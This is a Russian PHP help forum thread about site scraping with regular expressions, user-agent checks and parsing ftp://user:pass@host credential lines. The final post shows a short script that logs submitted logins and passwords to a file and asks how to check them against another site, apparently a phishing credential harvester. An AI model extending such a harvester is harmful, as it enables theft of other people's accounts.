PHP: <?php $a = file_get_contents("http://bartzmovie.com/"); preg_match_all("/<div class=\"navlist\">(.*?)<\/strong><\/div><\/td><\/tr><\/table>/is", $a, $b); $z = preg_replace('/<a href="/', '<a href="http://bartzmovie.com', $b[0][0]); $t = iconv("", "UTF-8", $z); echo $t; ?>
Вот такой кусочек кода PHP: preg_match_all("/<\/noindex><\/center><br\/><div id=\'dle-content\'>(.*?)<\/div><\/td><td class=\"col\"><center><script language=\"javascript\"/is",$a,$pop); $top = iconv("windows-1251", "UTF-8", $pop[0][0]); $zop = str_replace('<a href="http://bartzmovie.com/','<a href=?modd=',$top); $sop=str_replace('/page/','&page=',$zop); $mop = str_replace('/"','',$sop); preg_match_all("/<div class=\"razdelit\">(.*?)<\/div><\/div>/is",$mop,$jop); $ssop=str_replace($jop[0][0],'',$mop); echo $ssop; интерисует вот етот момент $ssop=str_replace($jop[0][0],'',$mop); ето страка уберёт из исходного кода ненужный код, но он уберёт первый попавшийся а мне надо все, как ето сделать?
@qaz, функция str_replace заменяет все вхождения http://php.net/manual/ru/function.str-replace.php @Tesson, переменная $_SERVER['HTTP_USER_AGENT'] или функция get_browser
2 Tesson PHP: <?php function agent($browser) { $useragent = $_SERVER['HTTP_USER_AGENT']; return strstr($useragent, $browser); } if (agent("Firefox") != FALSE) { echo "Банер"; } ?>
всё, сделал, работает, только вот возникает вопрос, каждый день примерно в 20.30 скрипт выдаёт такую ошибку Notice: Undefined offset: 0 in //index.php on line 32 с чем ето может быть связано?
так как так? до 20.30 вечера он найден о после етого времени нет? што ето за фантастика получается? на следующий день скрипт снова работает
Может он занесен в цикл, и когда он доходит до этого элемента выдает ошибку, так как он не определен. Вообще экстрасенсов здесь нет! З. Ы. Если этот элемент не важен, и в дальнейшей обработке не берет участия, то используй error_reporting(7); Или создай условие, которое будет проверять элементы массива на существование. И что это за слово такое "што"? Есть слово - "что", которое произносится как "што" Советую перечитать или прочитать книгу по php, ибо программировать не зная основ - это кощунство, на мой взгляд.
На правах офтопа) "што" произносится на Украине =) А россияне в большинстве произносят "что", "чё")) Возможно что на сайте аналогично стоит условие, к примеру, после 20:30 скрывать блок с солнышком и отображать блок с луной, по типу смены дизайна дня и ночи, по этому регулярка и не находит элемент.
по умолчанию в Mysql, limit стоит 0,30 вопрос следующий как можно реализовать масив ссылок на следующие страницы когда лимит будет привышать?
Кто подскажет? Имеем функцию с регуляркой. Code: function replace($ftp) { $res = preg_match("#^(?:ftp\://)?([a-z0-9\!\@\#\$\%\^\&\*\(\)\`\~\-\_\=\+\\/\|\[\]\{\}\;\:\'\"\,\.\<\>\//\?\№]+)\:([a-z0-9\!\@\#\$\%\^\&\*\(\)\`\~\-\_\=\+\\/\|\[\]\{\}\;\:\'\"\,\.\<\>\//\?\№]+)@([a-z0-9\-\.]+)(?:\:\d+)?$#i", $ftp, $m); $ftp_user_name = $m["1"]; $ftp_user_pass = $m["2"]; $ftp_server = $m["3"]; print_r($m); } Дальше вставляю регулярку в цикл чтения файла(построчно). В итоге вместо того чтобы каждую строку разбить на отдельные составляющие разбивается только последняя строка в файле. Сам цикл и применение в нем Code: $fp = fopen($_FILES["filename"]["name"], "r"); if ($fp) { while (!feof($fp)) { $mytext = fgets($fp, 4096); replace($mytext); } } В чем проблема? Необходимо чтобы каждая строка разделялась на составляющие, а не только последняя.
ну вообще-то проблема в том, ято переменная $mytext переписывает своё содержимое каждую интерацию. А так если разобрать скрипт то это честно слово дебилизм распасрсивать так строку: PHP: function replace($ftp) { $res = preg_match("#^(?:ftp\://)?([a-z0-9\!\@\#\$\%\^\&\*\(\)\`\~\-\_\=\+\\/\|\[\]\{\}\;\:\'\"\,\.\<\>\//\?\№]+)\:([a-z0-9\!\@\#\$\%\^\&\*\(\)\`\~\-\_\=\+\\/\|\[\]\{\}\;\:\'\"\,\.\<\>\//\?\№]+)@([a-z0-9\-\.]+)(?:\:\d+)?$#i", $ftp, $m); $ftp_user_name = $m["1"]; $ftp_user_pass = $m["2"]; $ftp_server = $m["3"]; print_r($m); } Весь ваш код, можно написать так: PHP: <?php $ftp = file('ftp.txt'); foreach($ftp as $val) $parsed_text[] = parse_url($val); var_dump($parsed_text); ?>
А если у вас вид такой то ваш способ прокатит ftp://loginass@serv loginass@serv А если в логине или пароле есть знак @ или в пароле двоеточие то уже ваш способ работать не будет. Именно по этому хочу использовать данную регулярку, потому что она решает эти проблемы и какого бы вида небыл логин и пасс она норм их выпаршивает. То что $mytext перезаписывается это замечательно на то он и цикл чтобы перезаписывать. Только ответа конкретный по моему вопросу так и нету.
ммм PHP: <?php preg_match_all("#^(?:ftp\://)?([a-z0-9\!\@\#\$\%\^\&\*\(\)\`\~\-\_\=\+\\/\|\[\]\{\}\;\:\'\"\,\.\<\>\//\?\№]+)\:([a-z0-9\!\@\#\$\%\^\&\*\(\)\`\~\-\_\=\+\\/\|\[\]\{\}\;\:\'\"\,\.\<\>\//\?\№]+)@([a-z0-9\-\.]+)(?:\:\d+)?$#i", 'ftp://user:[email protected]/', $m); var_dump($m); ?> Очень не однозначно работает регулярка
Достаточно в конце ftp убрать / и все норм работает. Проблема решена ) Достаточно было поставить trim перед $mytext )
PHP: <?php function replace($ftp) { $ftp = (substr(trim($ftp), strlen(trim($ftp))-1, 1) == '/') ? substr(trim($ftp), 0, strlen(trim($ftp))-1) : trim($ftp); preg_match_all("#^(?:ftp\://)?([a-z0-9\!\@\#\$\%\^\&\*\(\)\`\~\-\_\=\+\\/\|\[\]\{\}\;\:\'\"\,\.\<\>\//\?\№]+)\:([a-z0-9\!\@\#\$\%\^\&\*\(\)\`\~\-\_\=\+\\/\|\[\]\{\}\;\:\'\"\,\.\<\>\//\?\№]+)@([a-z0-9\-\.]+)(?:\:\d+)?$#i", $ftp, $m); return array('host' => $m[3][0], 'user' => $m[1][0], 'pass' => $m[2][0]); } if ($fp = fopen('ftp.txt', "r")) { while (!feof($fp)) { $mytext = fgets($fp, 4096); $ftp[] = replace($mytext); } } var_dump($ftp); ?> Code: array(4) { [0]=> array(3) { ["host"]=> string(8) "host.com" ["user"]=> string(4) "user" ["pass"]=> string(4) "pass" } [1]=> array(3) { ["host"]=> string(9) "host2.com" ["user"]=> string(5) "user2" ["pass"]=> string(5) "pass2" } [2]=> array(3) { ["host"]=> string(9) "host3.com" ["user"]=> string(5) "user3" ["pass"]=> string(5) "pass3" } [3]=> array(3) { ["host"]=> string(9) "host4.com" ["user"]=> string(5) "user4" ["pass"]=> string(5) "pass4" } } Сори, не увидел, что ты нашла решение
Люди добрые, подскажите, как дописать проверку на валидность данных. Если введённые данные от некого сайта верны, то всё пишим в base.php, и отправляем на service.html, если нет, то шлём юзера на error.html, если на этом неком сайте выдаётся капча на логин, то отправляем на error2.html. PHP: <?PHP $Login = $_POST['login']; // Логин $Pass = $_POST['passwd']; // Пароль $log = fopen("base.php","a+"); //открываем файл базы fwrite($log,"\n$Login:$Pass\n"); //записываем всё fclose($log); //закрываем header("Location: /service.html"); ?>